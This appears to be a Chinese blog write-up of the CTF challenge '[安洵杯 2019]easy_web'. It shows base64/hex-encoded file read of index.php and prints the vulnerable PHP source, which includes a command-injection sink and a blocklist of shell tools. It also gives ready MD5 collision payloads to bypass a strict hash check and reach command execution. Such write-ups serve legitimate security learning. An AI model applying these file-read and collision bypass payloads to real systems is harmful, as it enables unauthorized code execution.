首页 > 其他分享 >[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

时间:2024-09-14 21:24:09浏览次数:10  
标签:base64 cmd 安洵 echo 2019 easy POST 95% md5

首先抓包可以看到img是一个base64编码

依次经过base64,base64,asciihex解码得到一个图片名555.png

那么我们可以利用这一点反过去看index.php的源码,修改头
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
最后经过base64解码后

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

可以看到最后会执行

    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } 

echo `$cmd`;

可以执行系统命令,所以现在的目的就是要执行这个语句;
前面有个md5比较,可以通过md5强比较来绕过
这里有两个例子,也可以通过工具来生成

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

最后改包,然后重新发包,可以看到最后执行成功


最后修改cmd拿命令就行了

标签:base64,cmd,安洵,echo,2019,easy,POST,95%,md5
From: https://www.cnblogs.com/lcmz/p/18414714

相关文章

  • RickdiculouslyEasy靶场(9个flag)
    flag11.nmap扫描所有端口nmap172.16.1.7-p1-65535nmap-A-v-T417-p1-655352.13337端口存在一个flagFLAG:{TheyFoundMyBackDoorMorty}-10Pointsflag21.21端口对应的ftp服务可能存在匿名访问的问题,并且在该目录下面存在一个flag2.访问靶机上面的ftp服务,获......
  • 【csp201912-2】回收站选址
    题目背景 开学了,可是校园里堆积了不少垃圾杂物。 热心的同学们纷纷自发前来清理,为学校注入正能量~题目描述通过无人机航拍我们已经知晓了n处尚待清理的垃圾位置,其中第i(1≤i≤n)处的坐标为(x,y),保证所有的坐标均为整数。我们希望在垃圾集中的地方建立些回收站。具体来说,对......
  • SEGGER_RTT配合EasyLogger进行日志输出
    1.什么是日志?日志(Logging)是一种记录程序运行时发生的事件、状态变化、错误消息或其他重要信息的方法。它对于开发者来说是一个宝贵的工具,用于调试程序、监控运行时行为以及诊断问题。我们之前printf输出信息就是最简单、常用的一种日志形式2.什么是RTT全称为RealTimeTrans......
  • 从“看”到“管”:EasyCVR安防监控平台如何推动城市管理模式的转型升级
    在21世纪的今天,随着城市化进程的加速推进,城市规模不断扩大,人口密集度显著增加,城市管理面临着前所未有的挑战。从公共安全、交通管理到环境保护、应急响应,每一个领域都对城市的治理能力和效率提出了更高要求。在这一背景下,安防监控行业作为智慧城市建设的核心组成部分,正逐步成为推......
  • 数据为翼,智控未来:EasyCVR视频监控汇聚平台助力城市精准管理
    在数字化浪潮席卷全球的今天,智慧城市的概念已不再遥不可及,而是逐步成为现代城市发展的核心驱动力。作为智慧城市的重要组成部分,视频监控系统正以前所未有的速度和规模覆盖城市的每一个角落,成为城市管理者手中的“千里眼”和“顺风耳”。而EasyCVR视频监控汇聚平台,凭借其强大的数据......
  • Android Studio报错: Could not find pub.devrel:easypermissions:0.3.0, 改用linux编译
    在Androidstudio中去编译开源的仓库,大概率就是各种编译不过,一堆错误,一顿改错,基本上会耗费非常多时间,比如:这个就是改gradle版本,改成7.2,修改完成之后,还有其他报错: Executionfailedfortask':app:checkDebugDuplicateClasses'.>Couldnotresolveallfilesforconfiguration......
  • [SUCTF2019]SignIn1
    无壳,载入IDA. 搜索找到main函数开始分析.__int64__fastcallmain(inta1,char**a2,char**a3){charv4[16];//[rsp+0h][rbp-4A0h]BYREFcharv5[16];//[rsp+10h][rbp-490h]BYREFcharv6[16];//[rsp+20h][rbp-480h]BYREFcharv7[16];//[rsp+......
  • EasyExcelUtil导出
    packagecom.istrong.seatom.utils;importcn.hutool.core.collection.ListUtil;importcom.alibaba.excel.EasyExcel;importcom.alibaba.excel.enums.CellDataTypeEnum;importcom.alibaba.excel.metadata.Head;importcom.alibaba.excel.metadata.data.WriteCellData......
  • 官网下载easyx压缩包,如何在devc++配置easyx
    视频教程官网下载easyx压缩包,如何在devc++配置easyxEasyXGraphicsLibraryforC++安装指南1.访问官网官网2.下载EasyX在官网上找到下载区域,点击下载按钮以获取EasyX安装包。3.访问更多下载选项点击页面上的“more”链接,以查看更多下载选项。4.下......
  • P5985 [PA2019] Muzyka pop 题解
    P5985[PA2019]Muzykapop题解是蛮有意思的一道题。\(n\le200\),第一感觉是区间dp,但是又不好设出状态。考虑\(b\)单调递增的过程中的性质,考虑后得到\(b\)的最高含\(1\)的位一定是单调不降的,于是我们考虑将最高的含\(1\)的位设入状态。第一反应是设\(f_{i,j}\)表示......